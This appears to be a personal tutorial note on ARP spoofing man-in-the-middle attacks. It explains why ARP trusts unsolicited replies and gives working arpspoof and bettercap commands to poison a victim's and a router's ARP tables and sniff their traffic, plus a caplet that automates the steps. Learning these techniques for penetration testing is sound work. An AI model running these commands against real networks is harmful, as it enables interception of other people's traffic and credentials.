Table of Contents

ARP Spoofing

This is a MITM attack…

Test site: http://testphp.vulnweb.com/

ARP Tables

To check ARP Tables in Windows or Linux: ``arp -a``

If you get too many entries, grep it:

arp -a | grep ether

ARP Spoofing Attack

Terms:

Each computer on the network has an ARP table linking IPs with MACs. You use this table to exploit the ARP protocol and set up a MITM spoof.

  1. You spoof the IP/MAC of the router: sent to victim. Causes the victim to update its ARP table and accociate my MAC with router's IP
  2. You spoof the IP/MAC of the victim: sent to router. Causes the router to update its ARP table and associate my MAC with victim's IP

This effectively puts you in the middle, intercepting traffic between victim and router. The victim thinks you are the router; and the router thinks you are the victim.

Why ARP Spoofing works: Because the protocol itself is not secure…

  1. Clients accept responses even if they did not send a request.
  2. Cients trust responses without any verification.

So we send an ARP Response to a target and that target will not verify the response. The target will simply update its ARP table with the response I sent it.

Tools: arpspoof, bettercap


arpspoof

Syntax (usage is always the same):

arpspoof -i [interface] -t [clientIP] [gatewayIP]  # spoofs the client, telling him I am the gateway
arpspoof -i [interface] -t [gatewayIP] [clientIP]  # spoofs the gateway, telling him I am the client

Example (as root):

arpspoof -i eth0 -t 192.168.0.216 192.168.0.1
arpspoof -i eth0 -t 192.168.0.1 192.168.0.216

NOTE: You need to enable port forwarding to allow packets to flow through your machine just like a router.


Bettercap

Bettercap can do the same thing as arpspoof and more: docs.

Bettercap is a framework to run network attacks:

Syntax: bettercap -iface [interface]

That gets in you into the tool. Type help to see a menu and the help [moduleName] to get help on a specific module name you want to use.

Module: net.probe (discover connected clients quickly)

Module: net.recon


Bettercap ARP Spoof

Module: arp.spoof (for use, at bettercap prompt: “help arp.spoof”)

1. Turn on net.probe if it's not on already

net.probe on

2. Change module parameter for full duplex (spoof client and router, both):

set arp.spoof.fullduplex true

3. Change module parameter to add your target client IP (because we set the full-duplex parameter, we do not have to set the gateway, only the client; the gateway/router sets automagically):

set arp.spoof.targets [target IP]
# or
set arp.spoof.targets [target IP],[target IP],[target IP]

4. Turn ARP spoofing on (see “help arp.spoof”) and that's it.

arp.spoof on
help #to see the modules running

NOTE: If you check our arp table in the client you will see the attach machine's MAC associated with the gateway.

5. To sniff the traffic (still using bettercap; later we'll use Wireshark):

help net.sniff # see the options
net.sniff on

Test It: VulnWeb (to generate some traffic)


Bettercap Caplets

Caplets are custom scripts for Bettercap (basically text files with commands, one on each line).

How-To:

  1. Create a text file
  2. On each line put the commands you always run:

Example (to do all the above when you start Bettercap):

net.probe on
set arp.spoof.fullduplex true
set arp.spoof.targets 10.0.0.142
arp.spooof on
net.sniff on

To run it:

bettercap -iface [interface name] -caplet /path/to/caplet.cap